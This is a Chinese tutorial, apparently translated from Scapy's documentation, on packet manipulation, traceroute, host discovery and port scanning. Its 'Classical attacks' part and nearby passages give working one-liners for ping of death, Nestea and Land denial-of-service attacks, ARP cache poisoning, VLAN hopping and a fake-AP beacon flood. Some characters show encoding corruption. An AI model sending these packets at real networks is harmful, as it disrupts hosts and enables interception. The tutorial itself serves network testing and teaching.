使用hexdump()函數(shù)會(huì)以經(jīng)典的hexdump格式輸出數(shù)據(jù)包:

>>> hexdump(pkt) 0000 00 50 56 FC CE 50 00 0C 29 2B 53 19 08 00 45 00 .PV..P..)+S...E. 0010 00 54 00 00 40 00 40 01 5A 7C C0 A8 19 82 04 02 .T..@.@.Z|...... 0020 02 01 08 00 9C 90 5A 61 00 01 E6 DA 70 49 B6 E5 ......Za....pI.. 0030 08 00 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 ................ 0040 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 .......... !"#$% 0050 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 &'()*+,-./012345 0060 36 37 67

使用import_hexcap()函數(shù)可以將以上的hexdump重新導(dǎo)入到Scapy中:

>>> pkt_hex = Ether(import_hexcap()) 0000 00 50 56 FC CE 50 00 0C 29 2B 53 19 08 00 45 00 .PV..P..)+S...E. 0010 00 54 00 00 40 00 40 01 5A 7C C0 A8 19 82 04 02 .T..@.@.Z|...... 0020 02 01 08 00 9C 90 5A 61 00 01 E6 DA 70 49 B6 E5 ......Za....pI.. 0030 08 00 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 ................ 0040 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 .......... !"#$% 0050 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 &'()*+,-./012345 0060 36 37 67 >>> pkt_hex <Ether dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP version=4L ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP type=echo-request code=0 chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n \x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e \x1f !"#$%&\'()*+,-./01234567' |>>>>

Hex string

使用str()函數(shù)可以將整個(gè)數(shù)據(jù)包轉(zhuǎn)換成十六進(jìn)制字符串:

>>> pkts = sniff(count = 1) >>> pkt = pkts[0] >>> pkt <Ether dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP version=4L ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP type=echo-request code=0 chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n \x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e \x1f !"#$%&\'()*+,-./01234567' |>>>> >>> pkt_str = str(pkt) >>> pkt_str '\x00PV\xfc\xceP\x00\x0c)+S\x19\x08\x00E\x00\x00T\x00\x00@\x00@\x01Z|\xc0\xa8 \x19\x82\x04\x02\x02\x01\x08\x00\x9c\x90Za\x00\x01\xe6\xdapI\xb6\xe5\x08\x00 \x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b \x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567'

通過選擇合適的起始層(例如Ether()),我們可以重新導(dǎo)入十六進(jìn)制字符串。

>>> new_pkt = Ether(pkt_str) >>> new_pkt <Ether dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP version=4L ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP type=echo-request code=0 chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n \x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e \x1f !"#$%&\'()*+,-./01234567' |>>>>

Base64

使用export_object()函數(shù),Scapy可以數(shù)據(jù)包轉(zhuǎn)換成base64編碼的Python數(shù)據(jù)結(jié)構(gòu):

>>> pkt <Ether dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP version=4L ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP type=echo-request code=0 chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n \x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567' |>>>> >>> export_object(pkt) eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6 ...

使用import_object()函數(shù),可以將以上輸出重新導(dǎo)入到Scapy中:

>>> new_pkt = import_object() eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6 ... >>> new_pkt <Ether dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP version=4L ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP type=echo-request code=0 chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n \x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567' |>>>>

Sessions

最后可以使用save_session()函數(shù)來保存所有的session變量:

>>> dir() ['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_str', 'pkts'] >>> save_session("session.scapy")

使用load_session()函數(shù),在下一次你啟動(dòng)Scapy的時(shí)候你就能加載保存的session:

>>> dir() ['__builtins__', 'conf'] >>> load_session("session.scapy") >>> dir() ['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_str', 'pkts']

Making tables

現(xiàn)在我們來演示一下make_table()函數(shù)的功能。該函數(shù)的需要一個(gè)列表和另一個(gè)函數(shù)(返回包含三個(gè)元素的元組)作為參數(shù)。第一個(gè)元素是表格x軸上的一個(gè)值,第二個(gè)元素是y軸上的值,第三個(gè)原始則是坐標(biāo)(x,y)對應(yīng)的值,其返回結(jié)果為一個(gè)表格。這個(gè)函數(shù)有兩個(gè)變種,make_lined_table()和make_tex_table()來復(fù)制/粘貼到你的LaTeX報(bào)告中。這些函數(shù)都可以作為一個(gè)結(jié)果對象的方法:

在這里,我們可以看到一個(gè)多機(jī)并行的traceroute(Scapy的已經(jīng)有一個(gè)多TCP路由跟蹤功能,待會(huì)兒可以看到):

>>> ans,unans=sr(IP(dst="www.test.fr/30", ttl=(1,6))/TCP()) Received 49 packets, got 24 answers, remaining 0 packets >>> ans.make_table( lambda (s,r): (s.dst, s.ttl, r.src) )216.15.189.192 216.15.189.193 216.15.189.194 216.15.189.195 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 2 81.57.239.254 81.57.239.254 81.57.239.254 81.57.239.254 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 4 213.228.3.3 213.228.3.3 213.228.3.3 213.228.3.3 5 193.251.254.1 193.251.251.69 193.251.254.1 193.251.251.69 6 193.251.241.174 193.251.241.178 193.251.241.174 193.251.241.178

這里有個(gè)更復(fù)雜的例子:從他們的IPID字段中識(shí)別主機(jī)。我們可以看到172.20.80.200只有22端口做出了應(yīng)答,而172.20.80.201則對所有的端口都有應(yīng)答,而且172.20.80.197對25端口沒有應(yīng)答,但對其他端口都有應(yīng)答。

>>> ans,unans=sr(IP(dst="172.20.80.192/28")/TCP(dport=[20,21,22,25,53,80])) Received 142 packets, got 25 answers, remaining 71 packets >>> ans.make_table(lambda (s,r): (s.dst, s.dport, r.sprintf("%IP.id%")))172.20.80.196 172.20.80.197 172.20.80.198 172.20.80.200 172.20.80.201 20 0 4203 7021 - 11562 21 0 4204 7022 - 11563 22 0 4205 7023 11561 11564 25 0 0 7024 - 11565 53 0 4207 7025 - 11566 80 0 4028 7026 - 11567

你在使用TTL和顯示接收到的TTL等情況下,它可以很輕松地幫你識(shí)別網(wǎng)絡(luò)拓?fù)浣Y(jié)構(gòu)。

Routing

現(xiàn)在Scapy有自己的路由表了,所以將你的數(shù)據(jù)包以不同于操作系統(tǒng)的方式路由:

>>> conf.route Network Netmask Gateway Iface 127.0.0.0 255.0.0.0 0.0.0.0 lo 192.168.8.0 255.255.255.0 0.0.0.0 eth0 0.0.0.0 0.0.0.0 192.168.8.1 eth0 >>> conf.route.delt(net="0.0.0.0/0",gw="192.168.8.1") >>> conf.route.add(net="0.0.0.0/0",gw="192.168.8.254") >>> conf.route.add(host="192.168.1.1",gw="192.168.8.1") >>> conf.route Network Netmask Gateway Iface 127.0.0.0 255.0.0.0 0.0.0.0 lo 192.168.8.0 255.255.255.0 0.0.0.0 eth0 0.0.0.0 0.0.0.0 192.168.8.254 eth0 192.168.1.1 255.255.255.255 192.168.8.1 eth0 >>> conf.route.resync() >>> conf.route Network Netmask Gateway Iface 127.0.0.0 255.0.0.0 0.0.0.0 lo 192.168.8.0 255.255.255.0 0.0.0.0 eth0 0.0.0.0 0.0.0.0 192.168.8.1 eth0

 Gnuplot

我們可以很容易地將收集起來的數(shù)據(jù)繪制成Gnuplot。(清確保你已經(jīng)安裝了Gnuplot-py和Gnuplot)例如,我們可以通過觀察圖案知道負(fù)載平衡器用了多少個(gè)不同的IP堆棧:

>>> a,b=sr(IP(dst="www.target.com")/TCP(sport=[RandShort()]*1000)) >>> a.plot(lambda x:x[1].id) <Gnuplot._Gnuplot.Gnuplot instance at 0xb7d6a74c>

TCP traceroute (2)

Scapy也有強(qiáng)大的TCP traceroute功能。并不像其他traceroute程序那樣,需要等待每個(gè)節(jié)點(diǎn)的回應(yīng)才去下一個(gè)節(jié)點(diǎn),scapy會(huì)在同一時(shí)間發(fā)送所有的數(shù)據(jù)包。其缺點(diǎn)就是不知道什么時(shí)候停止(所以就有maxttl參數(shù)),其巨大的優(yōu)點(diǎn)就是,只用了不到3秒,就可以得到多目標(biāo)的traceroute結(jié)果:

>>> traceroute(["www.yahoo.com","www.altavista.com","www.wisenut.com","www.copernic.com"],maxttl=20) Received 80 packets, got 80 answers, remaining 0 packets193.45.10.88:80 216.109.118.79:80 64.241.242.243:80 66.94.229.254:80 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 2 82.243.5.254 82.243.5.254 82.243.5.254 82.243.5.254 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 4 212.27.50.46 212.27.50.46 212.27.50.46 212.27.50.46 5 212.27.50.37 212.27.50.41 212.27.50.37 212.27.50.41 6 212.27.50.34 212.27.50.34 213.228.3.234 193.251.251.69 7 213.248.71.141 217.118.239.149 208.184.231.214 193.251.241.178 8 213.248.65.81 217.118.224.44 64.125.31.129 193.251.242.98 9 213.248.70.14 213.206.129.85 64.125.31.186 193.251.243.89 10 193.45.10.88 SA 213.206.128.160 64.125.29.122 193.251.254.126 11 193.45.10.88 SA 206.24.169.41 64.125.28.70 216.115.97.178 12 193.45.10.88 SA 206.24.226.99 64.125.28.209 66.218.64.146 13 193.45.10.88 SA 206.24.227.106 64.125.29.45 66.218.82.230 14 193.45.10.88 SA 216.109.74.30 64.125.31.214 66.94.229.254 SA 15 193.45.10.88 SA 216.109.120.149 64.124.229.109 66.94.229.254 SA 16 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA 17 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA 18 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA 19 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA 20 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA (<Traceroute: UDP:0 TCP:28 ICMP:52 Other:0>, <Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>)

最后一行實(shí)際上是該函數(shù)的返回結(jié)果:traceroute返回一個(gè)對象和無應(yīng)答數(shù)據(jù)包列表。traceroute返回的是一個(gè)經(jīng)典返回對象更加特殊的版本(實(shí)際上是一個(gè)子類)。我們可以將其保存以備后用,或者是進(jìn)行一些例如檢查填充的更深層次的觀察:

>>> result,unans=_ >>> result.show()193.45.10.88:80 216.109.118.79:80 64.241.242.243:80 66.94.229.254:80 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 2 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 [...] >>> result.filter(lambda x: Padding in x[1])

和其他返回對象一樣,traceroute對象也可以相加:

>>> r2,unans=traceroute(["www.voila.com"],maxttl=20) Received 19 packets, got 19 answers, remaining 1 packets195.101.94.25:80 1 192.168.8.1 2 82.251.4.254 3 213.228.4.254 4 212.27.50.169 5 212.27.50.162 6 193.252.161.97 7 193.252.103.86 8 193.252.103.77 9 193.252.101.1 10 193.252.227.245 12 195.101.94.25 SA 13 195.101.94.25 SA 14 195.101.94.25 SA 15 195.101.94.25 SA 16 195.101.94.25 SA 17 195.101.94.25 SA 18 195.101.94.25 SA 19 195.101.94.25 SA 20 195.101.94.25 SA >>> >>> r3=result+r2 >>> r3.show()195.101.94.25:80 212.23.37.13:80 216.109.118.72:80 64.241.242.243:80 66.94.229.254:80 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 2 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 4 212.27.50.169 212.27.50.169 212.27.50.46 - 212.27.50.46 5 212.27.50.162 212.27.50.162 212.27.50.37 212.27.50.41 212.27.50.37 6 193.252.161.97 194.68.129.168 212.27.50.34 213.228.3.234 193.251.251.69 7 193.252.103.86 212.23.42.33 217.118.239.185 208.184.231.214 193.251.241.178 8 193.252.103.77 212.23.42.6 217.118.224.44 64.125.31.129 193.251.242.98 9 193.252.101.1 212.23.37.13 SA 213.206.129.85 64.125.31.186 193.251.243.89 10 193.252.227.245 212.23.37.13 SA 213.206.128.160 64.125.29.122 193.251.254.126 11 - 212.23.37.13 SA 206.24.169.41 64.125.28.70 216.115.97.178 12 195.101.94.25 SA 212.23.37.13 SA 206.24.226.100 64.125.28.209 216.115.101.46 13 195.101.94.25 SA 212.23.37.13 SA 206.24.238.166 64.125.29.45 66.218.82.234 14 195.101.94.25 SA 212.23.37.13 SA 216.109.74.30 64.125.31.214 66.94.229.254 SA 15 195.101.94.25 SA 212.23.37.13 SA 216.109.120.151 64.124.229.109 66.94.229.254 SA 16 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA 17 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA 18 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA 19 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA 20 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA

Traceroute返回對象有一個(gè)非常實(shí)用的功能:他們會(huì)將得到的所有路線做成一個(gè)有向圖,并用AS組織路線。你需要安裝graphviz。在默認(rèn)情況下會(huì)使用ImageMagick顯示圖形。

>>> res,unans = traceroute(["www.microsoft.com","www.cisco.com","www.yahoo.com","www.wanadoo.fr","www.pacsec.com"],dport=[80,443],maxttl=20,retry=-2) Received 190 packets, got 190 answers, remaining 10 packets193.252.122.103:443 193.252.122.103:80 198.133.219.25:443 198.133.219.25:80 207.46... 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 192.16... 2 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 82.251... 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 213.22... [...] >>> res.graph() # piped to ImageMagick's display program. Image below. >>> res.graph(type="ps",target="| lp") # piped to postscript printer >>> res.graph(target="> /tmp/graph.svg") # saved to file

如果你安裝了VPython,你就可以用3D來表示traceroute。右邊的按鈕是旋轉(zhuǎn)圖案,中間的按鈕是放大縮小,左邊的按鈕是移動(dòng)圖案。如果你單擊一個(gè)球,它的IP地址就會(huì)出現(xiàn)/消失。如果你按住Ctrl單擊一個(gè)球,就會(huì)掃描21,22,23,25,80和443端口,并顯示結(jié)果:

>>> res.trace3D()

Wireless frame injection

frame injection的前提是你的無線網(wǎng)卡和驅(qū)動(dòng)得正確配置好。

$ ifconfig wlan0 up $ iwpriv wlan0 hostapd 1 $ ifconfig wlan0ap up

你可以造一個(gè)FakeAP:

>>> sendp(Dot11(addr1="ff:ff:ff:ff:ff:ff",addr2=RandMAC(),addr3=RandMAC())/Dot11Beacon(cap="ESS")/Dot11Elt(ID="SSID",info=RandString(RandNum(1,50)))/Dot11Elt(ID="Rates",info='\x82\x84\x0b\x16')/Dot11Elt(ID="DSset",info="\x03")/Dot11Elt(ID="TIM",info="\x00\x01\x00\x00"),iface="wlan0ap",loop=1)

0x02 Simple one-liners

ACK Scan

使用Scapy強(qiáng)大的數(shù)據(jù)包功能,我們可以快速地復(fù)制經(jīng)典的TCP掃描。例如,模擬ACK Scan將會(huì)發(fā)送以下字符串:

>>> ans,unans = sr(IP(dst="www.slashdot.org")/TCP(dport=[80,666],flags="A"))

我們可以在有應(yīng)答的數(shù)據(jù)包中發(fā)現(xiàn)未過濾的端口:

>>> for s,r in ans: ... if s[TCP].dport == r[TCP].sport: ... print str(s[TCP].dport) + " is unfiltered"

同樣的,可以在無應(yīng)答的數(shù)據(jù)包中發(fā)現(xiàn)過濾的端口:

>>> for s in unans: ... print str(s[TCP].dport) + " is filtered"

Xmas Scan

可以使用以下的命令來啟動(dòng)Xmas Scan:

>>> ans,unans = sr(IP(dst="192.168.1.1")/TCP(dport=666,flags="FPU") )

有RST響應(yīng)則意味著目標(biāo)主機(jī)的對應(yīng)端口是關(guān)閉的。

IP Scan

較低級的IP Scan可以用來枚舉支持的協(xié)議:

>>> ans,unans=sr(IP(dst="192.168.1.1",proto=(0,255))/"SCAPY",retry=2)

ARP Ping

在本地以太網(wǎng)絡(luò)上最快速地發(fā)現(xiàn)主機(jī)的方法莫過于ARP Ping了:

>>> ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"),timeout=2)

用以下命令可以來審查應(yīng)答:

>>> ans.summary(lambda (s,r): r.sprintf("%Ether.src% %ARP.psrc%") )

Scapy還包含內(nèi)建函數(shù)arping(),該函數(shù)實(shí)現(xiàn)的功能和以上的兩個(gè)命令類似:

>>> arping("192.168.1.*")

 ICMP Ping

可以用以下的命令來模擬經(jīng)典的ICMP Ping:

>>> ans,unans=sr(IP(dst="192.168.1.1-254")/ICMP())

用以下的命令可以收集存活主機(jī)的信息:

>>> ans.summary(lambda (s,r): r.sprintf("%IP.src% is alive") )

TCP Ping

如果ICMP echo請求被禁止了,我們依舊可以用不同的TCP Pings,就像下面的TCP SYN Ping:

>>> ans,unans=sr( IP(dst="192.168.1.*")/TCP(dport=80,flags="S") )

對我們的刺探有任何響應(yīng)就意味著為一臺(tái)存活主機(jī),可以用以下的命令收集結(jié)果:

>>> ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") )

UDP Ping

如果其他的都失敗了,還可以使用UDP Ping,它可以讓存活主機(jī)產(chǎn)生ICMP Port unreachable錯(cuò)誤。你可以挑選任何極有可能關(guān)閉的端口,就像端口0:

>>> ans,unans=sr( IP(dst="192.168.*.1-10")/UDP(dport=0) )

同樣的,使用以下命令收集結(jié)果:

>>> ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") )

Classical attacks

Malformed packets:

>>> send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP())

Ping of death (Muuahahah):

>>> send( fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)) )

Nestea attack:

>>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10)) >>> send(IP(dst=target, id=42, frag=48)/("X"*116)) >>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224))

Land attack (designed for Microsoft Windows):

>>> send(IP(src=target,dst=target)/TCP(sport=135,dport=135))

 ARP cache poisoning

這種攻擊可以通過VLAN跳躍攻擊投毒ARP緩存,使得其他客戶端無法加入真正的網(wǎng)關(guān)地址。

經(jīng)典的ARP緩存投毒:    

>>> send( Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client),inter=RandNum(10,40), loop=1 )

使用double 802.1q封裝進(jìn)行ARP緩存投毒:

>>> send( Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2)/ARP(op="who-has", psrc=gateway, pdst=client),inter=RandNum(10,40), loop=1 )

TCP Port Scanning

發(fā)送一個(gè)TCP SYN到每一個(gè)端口上。等待一個(gè)SYN-ACK或者是RST或者是一個(gè)ICMP錯(cuò)誤:

>>> res,unans = sr( IP(dst="target")/TCP(flags="S", dport=(1,1024)) )

將開放的端口結(jié)果可視化:

>>> res.nsummary( lfilter=lambda (s,r): (r.haslayer(TCP) and (r.getlayer(TCP).flags & 2)) )

IKE Scanning

我們試圖通過發(fā)送ISAKMP Security Association proposals來確定VPN集中器,并接收應(yīng)答:

>>> res,unans = sr( IP(dst="192.168.1.*")/UDP()/ISAKMP(init_cookie=RandString(8), exch_type="identity prot.")/ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal()))

可視化結(jié)果列表:

>>> res.nsummary(prn=lambda (s,r): r.src, lfilter=lambda (s,r): r.haslayer(ISAKMP) )

Advanced traceroute

TCP SYN traceroute

>>> ans,unans=sr(IP(dst="4.2.2.1",ttl=(1,10))/TCP(dport=53,flags="S"))

結(jié)果會(huì)是:

>>> ans.summary( lambda(s,r) : r.sprintf("%IP.src%\t{ICMP:%ICMP.type%}\t{TCP:%TCP.flags%}")) 192.168.1.1 time-exceeded 68.86.90.162 time-exceeded 4.79.43.134 time-exceeded 4.79.43.133 time-exceeded 4.68.18.126 time-exceeded 4.68.123.38 time-exceeded 4.2.2.1 SA

UDP traceroute

相比較TCP來說, traceroute一個(gè)UDP應(yīng)用程序是不可靠的,因?yàn)閠a沒有握手的過程。我們需要給一個(gè)應(yīng)用性的有效載荷(DNS,ISAKMP,NTP等)來得到一個(gè)應(yīng)答:

>>> res,unans = sr(IP(dst="target", ttl=(1,20))/UDP()/DNS(qd=DNSQR(qname="test.com"))

我們可以想象得到一個(gè)路由器列表的結(jié)果:

>>> res.make_table(lambda (s,r): (s.dst, s.ttl, r.src))

DNS traceroute

我們可以在traceroute()函數(shù)中設(shè)置l4參數(shù)為一個(gè)完整的數(shù)據(jù)包,來實(shí)現(xiàn)DNS traceroute:

>>> ans,unans=traceroute("4.2.2.1",l4=UDP(sport=RandShort())/DNS(qd=DNSQR(qname="thesprawl.org"))) Begin emission: ..*....******...******.***...****Finished to send 30 packets. *****...***............................... Received 75 packets, got 28 answers, remaining 2 packets4.2.2.1:udp53 1 192.168.1.1 11 4 68.86.90.162 11 5 4.79.43.134 11 6 4.79.43.133 11 7 4.68.18.62 11 8 4.68.123.6 11 9 4.2.2.1 ...

Etherleaking

>>> sr1(IP(dst="172.16.1.232")/ICMP()) <IP src=172.16.1.232 proto=1 [...] |<ICMP code=0 type=0 [...]| <Padding load=’0O\x02\x01\x00\x04\x06public\xa2B\x02\x02\x1e’ |>>>

ICMP leaking

這是一個(gè)Linux2.0的一個(gè)bug:

>>> sr1(IP(dst="172.16.1.1", options="\x02")/ICMP()) <IP src=172.16.1.1 [...] |<ICMP code=0 type=12 [...] | <IPerror src=172.16.1.24 options=’\x02\x00\x00\x00’ [...] | <ICMPerror code=0 type=8 id=0x0 seq=0x0 chksum=0xf7ff | <Padding load=’\x00[...]\x00\x1d.\x00V\x1f\xaf\xd9\xd4;\xca’ |>>>>>

VLAN hopping

在非常特殊的情況下,使用double 802.1q封裝,可以將一個(gè)數(shù)據(jù)包跳到另一個(gè)VLAN中:

>>> sendp(Ether()/Dot1Q(vlan=2)/Dot1Q(vlan=7)/IP(dst=target)/ICMP())

Wireless sniffing

以下的命令將會(huì)像大多數(shù)的無線嗅探器那樣顯示信息:

>>> sniff(iface="ath0",prn=lambda x:x.sprintf("{Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%\t%PrismHeader.channel%\tDot11Beacon.cap%}"))

以上命令會(huì)產(chǎn)生類似如下的輸出:

00:00:00:01:02:03 netgear 6L ESS+privacy+PBCC 11:22:33:44:55:66 wireless_100 6L short-slot+ESS+privacy 44:55:66:00:11:22 linksys 6L short-slot+ESS+privacy 12:34:56:78:90:12 NETGEAR 6L short-slot+ESS+privacy+short-preamble

0x03 Recipes

Simplistic ARP Monitor

以下的程序使用了sniff()函數(shù)的回調(diào)功能(prn參數(shù))。將store參數(shù)設(shè)置為0,就可以使sniff()函數(shù)不存儲(chǔ)任何數(shù)據(jù)(否則會(huì)存儲(chǔ)),所以就可以一直嗅探下去。filter參數(shù)
則用于在高負(fù)荷的情況下有更好的性能:filter會(huì)在內(nèi)核中應(yīng)用,而且Scapy就只能嗅探到ARP流量。

#! /usr/bin/env python from scapy.all import *def arp_monitor_callback(pkt):if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-atreturn pkt.sprintf("%ARP.hwsrc% %ARP.psrc%")sniff(prn=arp_monitor_callback, filter="arp", store=0)

Identifying rogue DHCP servers on your LAN

Problem

你懷疑有人已經(jīng)在你的LAN中安裝了額外的未經(jīng)授權(quán)的DHCP服務(wù)器-無論是故意的還是有意的。因此你想要檢查是否有任何活動(dòng)的DHCP服務(wù)器,并確定他們的IP和MAC地址。

Solution

使用Scapy發(fā)送一個(gè)DHCP發(fā)現(xiàn)請求,并分析應(yīng)答:

>>> conf.checkIPaddr = False >>> fam,hw = get_if_raw_hwaddr(conf.iface) >>> dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=hw)/DHCP(options=[("message-type","discover"),"end"]) >>> ans, unans = srp(dhcp_discover, multi=True) # Press CTRL-C after several seconds Begin emission: Finished to send 1 packets. .*...*.. Received 8 packets, got 2 answers, remaining 0 packets

在這種情況下,我們得到了兩個(gè)應(yīng)答,所以測試網(wǎng)絡(luò)上有兩個(gè)活動(dòng)的DHCP服務(wù)器:

>>> ans.summarize() Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.1:bootps > 255.255.255.255:bootpc / BOOTP / DHCP Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.11:bootps > 255.255.255.255:bootpc / BOOTP / DHCP }}} We are only interested in the MAC and IP addresses of the replies: {{{ >>> for p in ans: print p[1][Ether].src, p[1][IP].src ... 00:de:ad:be:ef:00 192.168.1.1 00:11:11:22:22:33 192.168.1.11

Discussion

我們設(shè)置multi=True來確保Scapy在接收到第一個(gè)響應(yīng)之后可以等待更多的應(yīng)答數(shù)據(jù)包。這也就是我們?yōu)槭裁床挥酶奖愕膁hcp_request()函數(shù),而是手動(dòng)地構(gòu)造DCHP數(shù)據(jù)包的原因:dhcp_request()使用srp1()來發(fā)送和接收數(shù)據(jù)包,這樣在接收到一個(gè)應(yīng)答數(shù)據(jù)包之后就會(huì)立即返回。

此外,Scapy通常確保應(yīng)答來源于之前發(fā)送請求的目的地址。但是我們的DHCP數(shù)據(jù)包被發(fā)送到IP廣播地址(255.255.255.255),任何應(yīng)答數(shù)據(jù)包都將回復(fù)DCHP服務(wù)器的IP地址作為其源IP地址(e.g. 192.168.1.1)。由于這些IP地址不匹配,我們必須在發(fā)送請求前使用conf.checkIPaddr = False來禁用Scapy的check。

See also

Firewalking

TTL減一操作過濾后,只有沒被過濾的數(shù)據(jù)包會(huì)產(chǎn)生一個(gè)ICMP TTL超時(shí)

